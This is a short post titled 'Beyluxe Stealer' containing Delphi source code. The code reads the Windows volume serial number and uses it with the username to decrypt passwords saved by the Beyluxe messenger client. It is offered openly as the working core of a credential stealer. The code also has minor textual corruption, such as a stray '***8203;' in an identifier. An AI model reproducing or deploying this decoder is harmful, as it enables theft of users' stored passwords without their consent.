Beyluxe Stealer

[WestSide]

function VolumeSerialWindows: string; 
var 
  Drive: string; 
  Buf: array [0..512] of char; 
  VolumeSerialNumber : DWORD; 
  MaximumComponentLength : DWORD; 
  FileSystemFlags : DWORD; 
  SerialNumber : string; 
begin 
  Result:=''; 
  GetWindowsDirectory(Buf,512); 
  Drive := LeftStr(ExtractFileDrive(Buf),1)+:; 
  GetVolumeInformation(Pchar(Drive),nil,0,@VolumeSerialNumber,MaximumComponen***8203;tLength,FileSystemFlags,nil,0) ; 
  SerialNumber := IntToHex(HiWord(VolumeSerialNumber),4)+IntToHex(loword(VolumeSerialNumber),4); 
  Result := SerialNumber; 
end; 

function BeyluxeDecodePWS(Var user,HashPass:string):String; 
var 
  volSerial,tmpCommix,tmpPSW,tmpDec,tmpString,TPS:String; 
  i:integer; 
begin 
  if (Length(User) < 1)  or (Length(HashPass) < 1) then 
  begin 
   Result := HashPass; 
   Exit; 
  end; 
  VolSerial := VolumeSerialWindows; 
  TPS := HashPass; 
  while (Length(User)+Length(VolSerial)>0) do 
  begin 
    if Length(User)>0 then 
    begin 
  tmpCommix := tmpCommix + LeftStr(User,1); 
  Delete(User,1,1); 
    end; 
    if Length(VolSerial)>0 then 
    begin 
  tmpCommix := tmpCommix + LeftStr(VolSerial,1); 
  Delete(VolSerial,1,1); 
    end; 
  end; 

  while Length(TmpString) <= (Length(HashPass)/3) do 
    TmpString :=  TmpString + tmpCommix; 

  i:=1; 
  while Length(HashPass) > 0 do 
  begin 
    try 
  tmpdec := Copy(HashPass,1,3); 
  tmpPSW := tmpPSW + chr(StrToInt(tmpDec) - (ord(TmpString[i])xor 4) - $74) ; 
    except 
    end; 
   Delete(TmpString,1,1); 
   Delete(HashPass,1,3); 
  end; 
  Result:=  tmpPSW; 
end;